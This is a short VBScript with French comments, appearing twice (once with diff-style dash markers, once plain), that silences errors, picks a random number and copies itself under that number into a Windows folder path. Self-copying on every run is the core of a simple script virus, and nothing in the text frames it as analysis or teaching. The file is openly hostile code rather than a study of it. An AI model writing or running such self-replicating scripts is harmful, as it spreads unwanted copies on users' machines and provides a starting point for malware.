- on error resume next ' pour d'éventuelles erreurs
-
- Dim a,b,c ' déclare les variables
- Randomize ' initialise le générateur de nombres aléatoires
- Do Until Response ' début de l instruction Do...Loop
- c = Int((1000000000 * Rnd) +1) ' détermine c (c = nombre aléatoire entre 1 et
- Response = c '1000000000)
- Loop ' fin de l instruction Do...Loop
-
- Set a = CreateObject("Scripting.FileSystemObject")
- Set b = a.GetSpecialFolder(0)
- a.CopyFile WScript.ScriptFullName, "c:\windows\bureau\"&c&".vbs"
on error resume next ' pour d'éventuelles erreurs
Dim a,b,c ' déclare les variables
Randomize ' initialise le générateur de nombres aléatoires
Do Until Response ' début de l instruction Do...Loop
c = Int((1000000000 * Rnd) +1) ' détermine c (c = nombre aléatoire entre 1 et
Response = c '1000000000)
Loop ' fin de l instruction Do...Loop
Set a = CreateObject("Scripting.FileSystemObject")
Set b = a.GetSpecialFolder(0)
a.CopyFile WScript.ScriptFullName, "c:\windows\bureau\"&c&".vbs"